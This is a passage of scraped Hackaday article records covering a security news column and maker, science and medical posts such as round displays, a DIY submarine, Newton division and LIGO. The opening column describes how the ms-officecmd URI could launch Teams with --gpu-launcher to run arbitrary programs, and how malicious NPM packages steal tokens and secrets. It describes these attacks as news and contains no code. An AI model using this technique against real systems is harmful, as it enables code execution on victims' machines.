. This is yet another instance of OS mishandling of URI schemes. [Fabian Bräunlein] and [Lukas Euler] were looking through the URI handlers in Windows 10, and found the
ms-officecmd
scheme. A bit of exploring revealed that the scheme expected JSON arguments, which really got them excited, as it implied complexity.
Once they found the proper JSON format for the URI scheme, they started looking for a way to abuse it. The vulnerability they found is launching Teams with the
--gpu-launcher
flag. This flag allows specifying an arbitrary application to run on startup. Using Chromium-derived browsers, there is a popup requesting permission to run the URI. On the other hand, legacy Edge and IE11 allow a Javascript
click()
command to trigger the link and call the URI without user interaction. Microsoft took a look at the bug report, and closed it saying, “Unfortunately your report appears to rely on social engineering to accomplish, which would not meet the definition of a security vulnerability.” Thankfully that misunderstanding was quickly cleared up, but the first patch didn’t fix the issue, and Microsoft paid 10% of what the vulnerability should have been worth. The zero-click vulnerability has been fixed, but it’s still too easy to inject commands into the URI field.
AI Detects Weird TLS Certificates
NCC Group apparently misses the good old days, when TLS encryption generally meant traffic was valid. OK, maybe it was never that simple.
Regardless, [Margit Hazenbroek] noted that malware sometimes hides its activity inside TLS
, but when you actually look at the TLS certificate in use, it tends to look odd. The example given of the Ryuk ransomware is a good one — the organization listed is “lol”. It’s pretty obvious to a human that this is strange, but it’s not exactly practical to check every certificate used on your network.
We do have a tool that might be able to do an automated test for weirdness, Machine Learning. If we could provide enough good examples of valid certificates and questionable ones, an AI model might be able to flag questionable certs in real time. Using Half-Space-Trees, a clever way to classify the oddness of a given example. NCC Group has had success at trials, and has now deployed the idea in their SECOPS centers. With the availability of open source ML frameworks, very little stops any of us from re-implementing the idea ourselves, or using AI for other, similar tasks.
More NPM Malice
The stream of rotton NPM packages doesn’t seem to be abating, as
17 more were just removed from the repository
. Most of them are the garden variety typosquatting that we’ve seen before. At least one, however, is using the dependency confusion attack, where the malicious package is named the same as a proprietary package, in the hopes that the target’s build tools will grab the malicious version instead of their own private package. Also interesting is that several of these malicious packages are attempting to steal Discord tokens, while many just grab environment variables, hoping to find secrets.
Air Gaps
And finally, if you get your kicks from reading about high complexity malware, and you probably do given that you’re here reading this column, then you’ll appreciate ESET’s
15-year summary of jumping the air-gap
. There’s none of the
hypothetical wizardry
you might expect from APT groups. Everything found in the wild uses the lowly USB key to make the jump. While Stuxnet was certainly the most famous, it wasn’t the first such malware program deployed. The overview is great, and serves as a reminder that the simplest of devices, the USB drive, can be so effective. | 18 | 9 | [
{
"comment_id": "6405772",
"author": "IcyLetters",
"timestamp": "2021-12-10T15:08:21",
"content": "Just missed the zero-day for Log4Shell lol",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6405779",
"author": "gudenau",
"timestamp": "2021-12-10T15:53:2... | 1,760,372,858.19799 | ||
https://hackaday.com/2021/12/10/digital-painting-on-an-ipad-with-real-brushes/ | Digital Painting On An IPad With Real Brushes | Lewin Day | [
"Tablet Hacks"
] | [
"digital art",
"drawing tablet",
"graphics tablet",
"image",
"ipad"
] | Drawing tablets are a great way to make digital art, and iPads and other tablets are similarly popular in this area. However, they all typically involve using some sort of special stylus for input. [Richard Greene] developed another method, with Light Strokes for the iPad letting one “paint”
with real paint brushes instead!
The system uses a Fresnel prism in view of the iPad’s camera. This allows the camera to see only the parts of a paint brush, sponge, or other implement, as they make contact with the surface of the prism itself. This is via the principle known as
total internal reflection.
Thus, simply wetting a paintbrush, sponge, or even a finger, allows one to paint quite authentically on the surface of the prism. The corresponding Light Strokes app on the iPad turns this into the pretty pixels of your creation. The app also allows one to experiment with all manner of fancy brush effects, too.
The build requires some finesse, with the lamination of the special Fresnel film onto glass using liquid optically clear adhesive, or LOCA. A series of mirrors are then assembled in an enclosure, allowing the iPad to be mounted with the camera having a good view of the glass painting area.
The project takes advantage of a simple physical effect in order to create a great artistic tool. Alternatively, if you prefer to draw directly, consider whipping up your own
screen-based drawing tablet
. Video after the break. | 8 | 6 | [
{
"comment_id": "6405746",
"author": "vib",
"timestamp": "2021-12-10T12:44:09",
"content": "Brilliant execution of a nice idea. It´s a pity that the framerate of the camera is too low, leading to a scale effect as soon as the tool moves swiftly.Looking forward for an upgraded version of this periphe... | 1,760,372,858.003185 | ||
https://hackaday.com/2021/12/11/getting-familiar-with-round-displays/ | Getting Familiar With Round Displays | Lewin Day | [
"Parts"
] | [
"circular display"
] | Once upon a time, maker projects were limited to using simple character displays or those salvaged from popular Nokias, largely due to cost. These days, a small OLED or LCD is available for just a few bucks. However, you can go fancier, and [Mr. Volt] does just that with
an exploration of nice round displays
.
Using round displays doesn’t have to be hard, with plenty of great products on the market. [Mr. Volt] goes through various options, from the cheap bare screens you can hook up to a microcontroller, to larger models designed for direct use with the Raspberry Pi or even straight HDMI inputs. Many are quite high resolution, and look particularly beautiful when driven with appropriate artwork.
However, there are a few tricks that come in handy when you’re going away from traditional rectangular screens. Screen mounts on some models may not be directly aligned with the center of the circular display, which can lead to results that look
off
if not accounted for.
It’s also important to remember that round displays are still driven like square displays, using Cartesian coordinates. Trying to use software with interface elements around the edges can be trying, as many end up rendered off-screen. Instead, circular displays are best used to display purpose-made content, rather than used with traditional software expecting a rectangular screen.
Fundamentally, round displays are a neat thing to have, as they allow for
the construction of elegant projects
that don’t have to abstract a circle with cheats like obscuring bezels or housings. Video after the break. | 29 | 10 | [
{
"comment_id": "6406094",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-11T18:19:11",
"content": "I haven’t gotten a’round to using circular displays.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6406100",
"author": "mathm... | 1,760,372,857.714083 | ||
https://hackaday.com/2021/12/11/has-diy-become-click-and-buy/ | Has DIY Become Click And Buy? | Elliot Williams | [
"Rants"
] | [
"diy",
"newsletter"
] | We are living in great times for DIY, although ironically some of that is because of all the steps that we
don’t
have to do ourselves. PCBs can be ordered out easily and inexpensively, and the mechanical parts of our projects can be ordered conveniently online,
fabricated in quantity one for not much more than a song
, or 3D printed at home when plastic will do. Is this
really
DIY if everything is being farmed out? Yes, no, and maybe.
It all depends on where you think the real value of DIY lies. Is it in the idea, the concept, the design? Or in its realization, the manufacturing? I would claim that most of the value actually lies in the former, as much as I personally enjoy the many processes of physically constructing the individual parts of many projects.
For instance, I designed and built a hot-wire CNC foam cutter recently. Or better, I designed a series of improved versions, because I never get anything right on the first try. All along the way, I 3D printed new and improved versions of the plastic parts, ironing as many of the little glitches out as I had patience for. This took probably a good handful of weekends’ time, spread out over a couple months, but in comparison to time spent testing, fixing, and redesigning, very little time or effort was spent in the physical building.
Moreover, I bought most of the parts at the hardware store. The motor controller shield and cheap Arduino clone came from eBay. And even those that I
did
manufacture myself, the 3D-printed bits, were kind of made by a machine — my experience of the whole process wouldn’t have been any different if I ordered them out.
Of course craftsmanship still exists, and
we see that in Hackaday projects all the time
. Heck, I’ll admit that I still enjoy a lot of the process of making things with my own hands for its own sake. It’s peaceful. But if there’s one thing that the rapid proliferation of ideas and projects that have been facilitated by 3D printing and cheap short-run PCB services, it’s that the real value of many projects lies in the idea, and the documentation. Which is to say, I gotta get around to writing up that foam cutter…
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
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! | 55 | 21 | [
{
"comment_id": "6406032",
"author": "BT",
"timestamp": "2021-12-11T15:16:27",
"content": "No fries with my DIY please!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6406112",
"author": "notCarl",
"timestamp": "2021-12-11T19:43:18",
... | 1,760,372,858.090987 | ||
https://hackaday.com/2021/12/11/snip-your-way-to-diy-pcb-castellations/ | Snip Your Way To DIY PCB Castellations | Dan Maloney | [
"Misc Hacks"
] | [
"castellated",
"castellation",
"edge",
"pcb",
"plated",
"via"
] | Castellated PCB edges are kind of magical. The plated semicircular features are a way to make a solid, low-profile connection from one board to another, and the way solder flows into them is deeply satisfying. But adding them to a PCB design isn’t always cheap. No worries there — you can
make your own castellations
with this quick and easy hack.
[@CoilProtogen] doesn’t include much information in the Twitter thread about design details, but the pictures make it clear what the idea is here. OEM castellations are really just plated areas at the edge of a board that can be used to tack the board down to another one without any added hardware. The hack here is realizing that lining up a bunch of large-diameter vias and cleaving them in half with a sharp pair of scissors will result in the same profile without the added cost. The comments on the thread range from extolling the brilliance of this idea to cringing over the potential damage to the board, but [@CoilProtogen] insists that the 0.6-mm substrate cuts like butter. We’d worry that the plating on the vias would perhaps tear, but that seems not to be the case here.
The benefits of a zero-profile connection are pretty clear in this case, where castellated PCBs were used to replace bulky header-pin connectors on a larger PCB. We can see this technique being generally useful;
we’ve seen them used to good effect before
, and this is a technique we’ll keep in mind for later. | 22 | 8 | [
{
"comment_id": "6406022",
"author": "vib",
"timestamp": "2021-12-11T14:11:06",
"content": "HEMIcírcular, not semicircular !!!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6406042",
"author": "The Commenter Formerly Known As Ren",
"timestam... | 1,760,372,857.811623 | ||
https://hackaday.com/2021/12/11/controller-swaps-can-save-an-hdd-if-you-do-it-right/ | Controller Swaps Can Save An HDD If You Do It Right | Lewin Day | [
"Repair Hacks"
] | [
"data recovery",
"hard disk",
"hard drive",
"hdd"
] | Hard drives are fragile and reliable all at once. It’s entirely possible to have a hard drive fail, even if your data is still in perfect condition on the magnetic platters inside. [Keith Sherry] was recently trying to recover data for a friend off a damaged hard drive, and demonstrated that modern twists on old tricks
can still work.
The drive in question was an old 160GB disk that itself was being used as a backup. Of course, a backup you haven’t tested is no backup at all, and this one failed in the hour it was most needed.
The suspicion was that the controller board was the culprit, and that swapping the board out might bring things back to life. Back in the day, this was a common hacker trick. However, it often fails with modern drives, which store a great deal of drive-specific calibration data on the controller board. Without this specific data, another controller will be unable to access the data on the drive, and could even cause damage.
However, as [Keith] demonstrates, there is a way around this. A controller from a similar drive was sourced, albeit from a SATA version of the drive versus the original which used USB. A single chip is then removed from the original controller, containing the calibration data specific to that drive. Soldering this chip onto the new controller got everything up and running, and the files could be recovered.
If your data is invaluable, it’s likely worth paying a professional. As [Keith] demonstrates though, the old tricks can still come in handy as long as your techniques are up to date. DIYing your own data recovery
can be done
, it’s just risky is all.
Oh, and don’t forget — once you’ve recovered the files, throw the drive away. Don’t keep using it! Video after the break.
[Thanks to Amy for the tip!] | 22 | 13 | [
{
"comment_id": "6405979",
"author": "geocrasher",
"timestamp": "2021-12-11T09:09:37",
"content": "I DIY’d my own HDD recovery a few years ago. I wrote it up on my blog if anyone is interested:https://miscdotgeek.com/adventures-in-hard-drives/TL;DR: Freezer trick worked *just* long enough.",
"pa... | 1,760,372,858.145724 | ||
https://hackaday.com/2021/12/10/arduino-drives-faux-spirograph/ | Arduino Drives Faux Spirograph | Al Williams | [
"Arduino Hacks",
"Art"
] | [
"arduino",
"art",
"CNC shield",
"plotter",
"spirograph",
"stepper motor"
] | The holidays always remind us of our favorite toys from when we were kids. Johnny Astro, an Erector set, and — of course — a Spirograph. [CraftDiaries] has an
Arduino machine that isn’t quite a Spirograph
, but it sure reminds us of one. The Arduino drives two stepper motors that connect to a pen that can create some interesting patterns.
The build uses a few parts that were laser cut, but they don’t look like they’d be hard to fabricate using conventional means or even 3D printing. The author even mentions you could make them out of cardboard or foamboard if you wanted to.
The electronics are straightforward with two stepper drivers. We couldn’t help but think that some of the old 3D printer motherboards we have laying around here could handle this very easily. However, in this project, the CPU is an ordinary UNO with a CNC shield to drive the motors.
Of course, the real trick is the software. Apparently, the different patterns come from the relationship between the delay between steps of the right motor and that of the left motor. There’s got to be some math behind that, but the patterns are certainly pretty.
If you prefer something that looks more like an actual Spirograph,
grab a bag of Lego
. Or try the
Art-O-Matic
. | 11 | 6 | [
{
"comment_id": "6405965",
"author": "Gravis",
"timestamp": "2021-12-11T07:10:16",
"content": "It’s built on the same principle as Spirograph which is why it looks like Spirograph: a mismatched number of steps per cycle for multi-axis system. The math describing this is surprisingly simple because ... | 1,760,372,857.852775 | ||
https://hackaday.com/2021/12/10/build-your-own-submarine/ | Build Your Own Submarine | Al Williams | [
"3d Printer hacks",
"Transportation Hacks"
] | [
"radio control",
"submarine",
"submersible"
] | If you are tried of building things that fly, why not try
a submarine
like [DIYPerks] did? As you can see in the video below, the key is to control buoyancy, and the mechanism used is impressive. The sub has two giant syringes fore and aft to compress or decompress water. The plungers are now 3D-printed actuators that travel on a lead screw. Two high-torque motors and some batteries sandwiched in acrylic disks make up the rest. This is a big vessel — you won’t be trying this in your bathtub and maybe not even your pool unless it is a big one.
Of course, everything needs to be watertight. Instead of trying to waterproof a power switch, this sub uses a reed switch so that a nearby magnet can turn it on. Not an original idea, but we always think it is more elegant than seals and potting compounds.
The best part, though, was the modification of a servo control board to close the loop with a linear slide resistor instead of a rotary pot. A clever hack and seems to work well for this application. The downside is the RF control. As real submarines know, 2.4 GHz signals don’t go very far underwater. Like a real submarine, this one floats an antenna array on the surface so it can receive control signals from the shore. It also sends video up in real time.
A bunch of water pumps work as thrusters. The submarine’s hull is a tube that is the same diameter used for irrigation pipes so the sub can use off-the-shelf parts meant for that purpose.
The sea trials were done on a lake with a friend’s much smaller submarine. There were the usual issues to work out, but in the end, the addition of some ballast and preventatively adding some seals got everything in working order.
We’ve seen
several subs lately
. Some of this one reminded us of
Subnautica
. | 22 | 7 | [
{
"comment_id": "6405942",
"author": "Michael Black",
"timestamp": "2021-12-11T03:26:52",
"content": "I think there were two submarines in Popular Science or Mechanics in the sixties, one on the cover. Build it yourself. Though more like a sled, it wasn’t waterproof, you wore a diving suit and sat ... | 1,760,372,857.963371 | ||
https://hackaday.com/2021/12/10/ninja-art-pcb-nightlight-jutsu/ | Ninja Art: PCB Nightlight Jutsu! | Orlando Hoilett | [
"Art",
"LED Hacks"
] | [
"anime",
"Jutsu",
"Masashi Kishimoto",
"Naruto",
"Naruto Shippuden"
] | This latest PCB artwork comes to you courtesy of [Arnov]. His
Naruto nightlight
is definitely going to get your anime-loving friends’ attention.
The LED illumination styles are controlled by an ATtiny13A microcontroller. He probably could have opted for a 555 timer with this one, but maybe he wanted easily programmable blinking patterns. He also programmed the ATtiny to read a small button which he used to cycle through different illumination styles. Finally, a small LiPo battery makes this project pretty portable, so you can reposition it freely around your work area as you might like.
With all that being said, the meat of this project is in the physical dimensional design of the PCB. [Arnov] was able to design the circuit board in the shape of Naruto’s head, with pretty good detail for his hair, eyes, and headband. If you’ve ever tried your own PCB art,
you know that it can be a fairly onerous task
. He creatively used the copper traces as features within the PCB, in this case, Naruto’s ninja headband. We thought the subtle decision of putting the LEDs on the backside of the PCB was smart as well. By doing so, he used the solder mask as a natural light defuser which really gave the PCB a cool, yellow glow. Carefully removing the copper layer and not using a copper pour really aided in the aesthetic. He was also smart to opt for yellow solder mask since Naruto’s hair is yellow.
All in all, two thumbs up [Arnov]. While you’re here,
check out some other great PCB art around Hackaday
. | 3 | 1 | [
{
"comment_id": "6405928",
"author": "heatgap",
"timestamp": "2021-12-11T01:26:18",
"content": "Well done bro! Looks awesome!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6405947",
"author": "Qt",
"timestamp": "2021-12-11T03:45:59",
... | 1,760,372,857.752638 | ||
https://hackaday.com/2021/12/10/3d-printing-delivers-glass-eyes-in-record-time/ | 3D Printing Delivers “Glass” Eyes In Record Time | Al Williams | [
"Medical Hacks"
] | [
"3d printed prosthetic",
"prostheses",
"prosthetic",
"prosthetic eye"
] | Obviously, losing an eye would be bad for your vision. But if you think about it, it is also a detriment to your appearance. You might not need a prosthetic eye, and you can certainly rock an eye patch, but a lot of people with this problem get an artificial or “glass” eye. These glass eyes are hand-painted disks that fit into the eye socket. However,
a British man now has a new kind of eye prosthesis that is 3D printed
, a technology that can potentially cut waiting time for patients in half.
The existing process is lengthy because it requires taking a mold of the eye socket and manually matching the remaining eye with the new artificial eye. With the 3D printed technology, scans of the eye socket and the other eye make this process much simpler.
Moorfields Eye Hospital, the source of the eye, says that a conventional eye takes about six weeks, but the new ones take no more than three weeks. The patient only needs to spend about a half-hour doing the scans before the wait starts. We presume it can be made for less cost, as well.
Medicine is embracing 3D printing and
we’ve seen a 3D ear
. We are waiting for our
personal exoskeleton
. Some of the medical 3D printing we’ve seen is
for the birds
. | 13 | 4 | [
{
"comment_id": "6405720",
"author": "Stéphane",
"timestamp": "2021-12-10T09:09:44",
"content": "“In record time”, our you could say… In the blink of an eye",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6405917",
"author": "That kid",
"times... | 1,760,372,858.501823 | ||
https://hackaday.com/2021/12/09/sound-reactive-mannequin-arms-make-for-creepy-lounge-decor/ | Sound-Reactive Mannequin Arms Make For Creepy Lounge Decor | Lewin Day | [
"Misc Hacks"
] | [
"arms",
"led",
"leds",
"mannequin",
"pixelblaze"
] | Music visualizers were all the rage back in era of Winamp and Windows Media Player. They’re even cooler when they don’t just live on your computer screen, though,
as [Emily Velasco’s] latest project demonstrates.
The build consists of two mannequin arms on a board mounted on the wall. The arms were sourced for just $5 from a Sears that went out of business, and originally fastened to the mannequin thanks to magnets inside. Thus, putting two steel plates on the board allowed the arms to be attached, and they can be freely arranged as [Emily] sees fit.
The ESP32-based Pixelblaze LED controller serves as the brains of the operation, controlling LEDs mounted inside the arms themselves. Using a dedicated controller makes working with addressable LEDs a cinch. As a further bonus, the board serves up a web interface, allowing patterns to be changed without having to hook up a cable to the device. Meanwhile, a sensor board inside the arms uses a microphone to enable the light show to react to sound and music.
It’s one of the more obscure uses for an old mannequin, but definitely one that appeals to our love of everything that flickers and glows. It’s a build very much up [Emily’s] alley; as a prolific maker, she loves to build weird and wonderful creations,
as shared during her talk at the 2019 Hackaday Superconference
. Video after the break.
I had no good reason to put off finishing this for over a year, but what matters is that it's finally done.
I have a sound-reactive mannequin arms lamp in my living room now.
pic.twitter.com/onlOJ3Zbvp
— Emily Velasco (@MLE_Online)
December 8, 2021 | 8 | 4 | [
{
"comment_id": "6405686",
"author": "Richard Peters",
"timestamp": "2021-12-10T06:43:01",
"content": "It’s gorgeous! I was very pleasantly surprised when the scintillation started!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6405698",
"author": "hacka... | 1,760,372,858.324001 | ||
https://hackaday.com/2021/12/09/apple-falling-division/ | Apple Falling Division | Al Williams | [
"ARM",
"Software Development",
"Software Hacks"
] | [
"arm",
"division",
"dsPIC30",
"math",
"newton",
"recipriocal",
"RISC-V"
] | [Paul Curtis] over at Segger has an interesting series of blog posts about
calculating division
. This used to be a hotter topic, but nowadays many computers or computer languages have support for multiplication and division built-in. But some processors lack the instructions and a library to do it might be less than ideal. Knowing how to roll your own might allow you to optimize for speed or space. The current installment covers using Newton’s algorithm to do division.
Steve Martin had a famous bit about how to be a millionaire and never pay taxes. He started out by saying, “First… get a million dollar. Then…” This method is a bit like that since you first have to know how to multiply before you can divide. The basic premise is twofold: Newton’s method let you refine an estimate of a reciprocal by successive multiplications and then multiplying a number a reciprocal is the same as dividing. In other words, if we need to divide 34 by 6, you could rewrite 34/6 to 34 * 1/6 and the answer is the same.
Newton’s approximation for reciprocals lets you take a guess at the answer and then refine it through a series of multiplications. Each multiplication creates better accuracy. You can use this to perform a classic speed/space trade-off. For example, let’s just assume we want to find the reciprocal of a byte (presumably a fixed point byte). A look-up table of 256 elements would provide perfect accuracy and would be very fast. No more math is necessary. But what about 32 bits? Now the table is just too big. But you could look up, say, the first 8 bits of the 32-bit number. Or more. Or less. Depends on what’s important to you.
So now you have a poor estimate of your reciprocal. Sir Issac can make it better. For some number
a
, You take your estimate (
x
) and multiply them together. Subtract that number from 2 and you have a factor to multiply your old estimate by to get a new estimate. Skipping ahead, it is clear if your estimate was right, the multiplication would give you 1 which would not change the old estimate at all. If the estimate is off, you’ll get a scaling factor.
As a formula it looks like this:
x=x*(2-a*x);
So if you decide the reciprocal of 22 might be .02, the first pass will give you:
0.02*(2-22*0.02) = .0312
.0312*(2-22*.0312) = .0410
.0410*(2-22*.0410) = 0.0450
The right answer is a repeating decimal 0.0454545 and if you keep going, you’ll get there.
Of course, then you have to multiply one more time to do the division.
We liked that the post has a fixed-point implementation and then examines the resulting assembly code for ARM, RISC-V, and dsPIC30. Well worth a read.
We love
math tricks
we can use in assembly language. If you are working on AVR and floating point,
don’t miss this method
. | 23 | 7 | [
{
"comment_id": "6405657",
"author": "Alysson+Rowan",
"timestamp": "2021-12-10T03:54:36",
"content": "“… if we need to divide 34 by 6, you could rewrite 36/6 to 36 * 1/6 and the answer is the same.”I hope that is a typo, because 34/6 != 36/6 (the difference is statistically significant, too).",
... | 1,760,372,858.554577 | ||
https://hackaday.com/2021/12/09/beam-bird-pendant-really-chirps/ | BEAM Bird Pendant Really Chirps | Kristina Panos | [
"Solar Hacks"
] | [
"0603",
"beam",
"beam robotics",
"solar power"
] | [NanoRobotGeek] had a single glorious weekend between the end of the term and the start of exams. Did they buy a keg and party it up? No, in fact, quite the opposite — they probably gained a few brain cells by free-form soldering
this beautiful chirping bird pendant
at 0603 instead.
The circuit is a standard BEAM project built around a 74HC14, but [NanoRobotGeek] made a few changes to achieve the ideal chirp sound. As you can see in the video after the break, it chirps for around 30 seconds and then shuts off for 1-2 minutes before starting up again.
What is better than a BEAM project? A portable one, we say. Although the chirping would probably get old pretty quickly, there’s just no substitute for working so small that you can carry it around your neck and show it off.
This one is kind of a long time coming, because [NanoRobotGeek] started by breadboarding the circuit and then made a PCB version way back in 2019, which they were attempting to miniaturize with this project. We think they did a fantastic job of it, and the documentation is stellar if you are crazy enough to attempt this one. You will need a lot of blu tack and patience, and pre-tinning is your friend. Be sure to check out the demo after the break.
The name checks out, and this isn’t [NanoRobotGeek]’s first foray into tiny circuit sculpture —
just take a look at all we’ve covered
. | 16 | 5 | [
{
"comment_id": "6405609",
"author": "Steven",
"timestamp": "2021-12-10T00:41:54",
"content": "Awesome!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6405622",
"author": "CRJEEA",
"timestamp": "2021-12-10T01:22:45",
"content": "I’ve always been a ... | 1,760,372,858.379845 | ||
https://hackaday.com/2021/12/09/the-ins-and-outs-of-casting-lenses-from-epoxy/ | The Ins And Outs Of Casting Lenses From Epoxy | Dan Maloney | [
"Misc Hacks"
] | [
"casting",
"epoxy",
"lens",
"mandrel",
"mirror",
"molding",
"optics",
"PDMS",
"resin",
"silicone"
] | If you need a lens for a project, chances are pretty good that you pick up a catalog or look up an optics vendor online and just order something. Practical, no doubt, but pretty unsporting, especially when it’s possible to
cast custom lenses at home
using silicone molds and epoxy resins.
Possible, but not exactly easy, as [Zachary Tong] relates. His journey into custom DIY optics began while looking for ways to make copies of existing mirrors using carbon fiber and resin, using the technique of replication molding. While playing with that, he realized that an inexpensive glass or plastic lens could stand in for the precision-machined metal mandrel which is usually used in this technique. Pretty soon he was using silicone rubber to make two-piece, high-quality molds of lenses, good enough to try a few casting shots with epoxy resin. [Zach] ran into a few problems along the way, like proper resin selection, temperature control, mold release agent compatibility, and even dealing with shrinkage in both the mold material and the resin. But he’s had some pretty good results, which he shares in the video below.
[Zach] is clear that this isn’t really a tutorial, but rather a summary of the highs and lows he experienced while he was working on these casting methods.
It’s not his first time casting lenses
, of course, and we doubt it’ll be his last — something tells us he won’t be able to resist trying
this all-liquid lens casting method
in his lab. | 10 | 7 | [
{
"comment_id": "6405583",
"author": "CRJEEA",
"timestamp": "2021-12-09T21:11:07",
"content": "No doubt that size limit can be pushed a little further,especially with the right choice of liquid. Perhaps two liquids could be used, one with a density and one with a higher density than the lens medium ... | 1,760,372,858.774741 | ||
https://hackaday.com/2021/12/09/could-india-be-the-crucial-battleground-for-open-access-to-scientific-research/ | Could India Be The Crucial Battleground For Open Access To Scientific Research? | Jenny List | [
"Current Events",
"Interest"
] | [
"india",
"open-access",
"sci-hub"
] | One of the hottest topics in the world of scientific publishing over the last couple of decades has been the growing pressure to release the fruits of public-funded scientific research from the paywalled clutches of commercial publishers. This week comes news of a new front in this ongoing battle,
as a group of Indian researchers have filed an intervention application
with the help of the Indian Internet Freedom Foundation in a case that involves the publishers Elsevier, Wiley, and the American Chemical Society who have filed a copyright infringement suit against in the Delhi High Court against the LibGen & Sci-Hub shadow library websites.
The researchers all come from the field of social sciences, and they hope to halt moves to block the websites by demonstrating their importance to research in India in the light of unsustainable pricing for Indian researchers. Furthermore they intend to demonstrate a right of access for researchers and teachers under Indian law, thus undermining the legal standing of the original claim.
We’re not qualified to pass comment on matters of Indian law here at Hackaday, but we feel this will be a case worth watching for anyone worldwide with an interest in open access to research papers. If it can be established that open access shadow libraries can be legal in a country the size of India, then it may bring to an end the somewhat absurd game of legal whack-a-mole that has raged over the last decade between the sites on their untouchable Russian servers and heavy-handed academic publishers who perhaps haven’t moved on from their paper publishing past. It’s time for a fresh start with the way academic publishing works, and maybe this will provide the impetus for that to happen.
For those wondering what the fuss is about,
we’ve looked at the issue in the past
.
Indian flag image: ©
Yann Forget
/
Wikimedia Commons
/
CC-BY-SA
. | 16 | 6 | [
{
"comment_id": "6405580",
"author": "Daniel Matthews",
"timestamp": "2021-12-09T21:03:11",
"content": "Yes, without a doubt, it may even be the crucial battleground for democracy and openness in general.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6405620"... | 1,760,372,858.67516 | ||
https://hackaday.com/2021/12/09/keynote-video-dr-keith-thorne-explains-the-extreme-engineering-of-the-ligo-hardware/ | Keynote Video: Dr. Keith Thorne Explains The Extreme Engineering Of The LIGO Hardware | Mike Szczys | [
"cons",
"Hackaday Columns",
"Original Art",
"Science",
"Slider"
] | [
"2021 Hackaday Remoticon",
"gravitational waves",
"LIGO"
] | The
Laser Interferometer Gravitational-Wave Observatory (LIGO)
is a huge installation measured in kilometers that is listening for wrinkles in space-time. Pulling this off is a true story of hardware and software hacking, and we were lucky to have Dr. Keith Thorne dive into those details with
his newly published “Extreme Instruments for Extreme Astrophysics” keynote
from the 2021 Hackaday Remoticon.
Gravity causes space-time to stretch — think back to the diagrams you’ve seen of a massive orb (a star or planet) sitting on a plane with grid lines drawn on it, the fabric of that plane being stretch downward from the mass of the orb. If you have two massive entities like black holes orbiting each other, they give off gravitational waves. When they collide and merge, they create a brief but very strong train of waves. Evidence of these events are what LIGO is looking for.
Rai Weiss had the idea to look for gravitational waves using laser interferometers in about 1967, but the available laser technology was too new to accomplish the feat. In an interferometer, a laser is shot through a beam splitter and one beam reflects out and back over a distance, and is then recombined with the other half using a photodetector to measure the intensity of light. As the distance in the long leg changes, the relative phase of the lasers shift, and the power detected will vary.
LIGO is not your desktop interferometer. It uses a 5 kW laser input. The 4 km legs of the interferometer bounce the light back and forth 1,000 times for an effective 4,000 km travel distance. These legs are kept under extreme vacuum and the mirrors are held exceptionally still. It’s worth it; the instrument can measure at a precision of 1/10,000 the diameter of a proton!
The Hacks That Make LIGO Possible
Keith says “There’s no ACME Interferometer Company you can order things from”. This is something that’s often overlooked: doing hard science usually means bringing new instruments into existence. While the topic of laser interferometery existed long before LIGO began, the precision of it has never before been seen in anything humans have built.
The team is using off-the-shelf computers, but traditional operating systems lack the real-time access needed for quickly reading the photodetector values. The hack was to leverage multicore CPUs but dedicate a single core to making the readings. This was done via custom work with the Linux kernel.
MATLAB graphical flow for configuring LIGO
Once you have a system like this, innumerable researchers will want to use it to conduct their own research. The team knew that many of these scientists were already using MATLAB. The LIGO user-interface hack was to write a MATLAB Simulink plugin that configures the system. Now researchers can use that graphical interface to control the hardware directly during their time on the machine.
Much troubleshooting was done to eliminate noise from the electronic control systems. One neat detail was that they utilized a dual-tone oscillator setup (960 Hz and 961 Hz) to produce a 1-pulse-per-second timing system. But there are further juicy details like needing to remove LED status lights near the digitizer as they were injecting interference when they blinked.
The mechanical engineering hacks are pretty bonkers. The laser beam is so powerful, that a physical barrier is necessary to protect from it burning through delicate equipment. They built a high-speed physical shutter that can slam into place in the beam path and make sure you don’t fry your equipment.
An Inside Look at Absolutely Incredible Equipment
We’re so thankful to Keith for presenting this talk at Remoticon. LIGO is at the cutting edge of astrophysics, and even the geekiest of us only have a rudimentary knowledge of the work being done. His thoughtful presentation embedded below is a pleasure to watch, and we hope it helps us open our eyes to all of the interesting work, and tremendously clever hacks, that go on every day in the name of science.
Resources:
Slides for this talk
(PDF)
Code repository for LIGO | 18 | 11 | [
{
"comment_id": "6405550",
"author": "CRJEEA",
"timestamp": "2021-12-09T18:54:40",
"content": "Thanks for posting this, it’s always nice to have a little peak behind the proverbial curtain. I wonder if this hack for better time resolution will find uses in robotics. I wonder if their forecast for a ... | 1,760,372,858.732676 | ||
https://hackaday.com/2021/12/09/wearable-sensor-for-detecting-substance-use-disorder/ | Wearable Sensor For Detecting Substance Use Disorder | Orlando Hoilett | [
"Medical Hacks",
"Wearable Hacks"
] | [
"artificial intelligence",
"E4",
"Empatica",
"machine learning",
"opioid overdose",
"substance use disorder",
"supervised injection facility"
] | Oftentimes, the feature set for our typical fitness-focused wearables feels a bit empty. Push notifications on your wrist? OK, fine. Counting your steps? Sure, why not. But how useful are those capabilities anyway? Well, what if wearables could be used for a more dignified purpose
like helping people in recovery from substance use disorder (SUD)
? That’s what the researchers at the University of Massachusetts Medical School aimed to find out.
In their paper, they used a wrist-worn wearable to measure locomotion, heart rate, skin temperature, and electrodermal activity of 38 SUD patients during their everyday lives. They wanted to detect periods of stress and craving, as these parameters are possible triggers of substance use. Furthermore, they had patients self-report times during the day when they felt stressed or had cravings, and used those reports to calibrate their model.
